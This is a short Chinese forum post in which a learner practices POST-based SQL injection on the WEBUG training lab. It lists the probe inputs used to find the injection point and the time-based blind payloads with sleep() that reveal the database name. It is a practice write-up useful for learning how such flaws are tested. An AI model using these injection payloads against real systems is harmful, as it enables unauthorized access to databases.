|
楼主 |
发表于 2020-5-16 20:09:49
|
显示全部楼层
本帖最后由 Angelica 于 2020-5-16 20:11 编辑
今天依旧是在WEBUG靶场练习,练的是POST注入。
既然已知是POST注入,就不废劳什子劲了。
找注入点
文本框中输入:
- 1.id=1 无变化
- 2.id=1) 无变化
- 3.id=1'' 无变化
- 4. id=1' 报错
复制代码
观察发现,进行搜索要么无变化,要么报错,可知,显错注入不可行,布尔注入也不可行,只能试试延时注入。
输入 1' and sleep(3) ,页面没有延时直接跳转
omg子。
把and换成or,延时打开成功。
那么接下来就是延时注入的操作了。
先来几行代码获取数据库名长度
- 1' or if(length(database())>5,sleep(3),1) # 延时失败
- 1' or if(length(database())>4,sleep(3),1) # 延时成功
复制代码
所以是 webug 库名长度为5
然后判断数据库名
- 1' or if(substr(database(),1,1)>'a',sleep(3),1) # 延时成攻
- 1' or if(substr(database(),1,1)>'b',sleep(3),1) # 延时成功
- ......
- 1' or if(substr(database(),1,1)>'v',sleep(3),1) # 延时成功
- 1' or if(substr(database(),1,1)>'w',sleep(3),1) # 延时失败
复制代码
第一个字母为w
然后步骤就跟布尔注入相似,只不过这个是通过页面刷新是否成功延时,判断语句是否正确。
最后获取数据库名为webug
由于太过麻烦,就不一一试验了...
|
|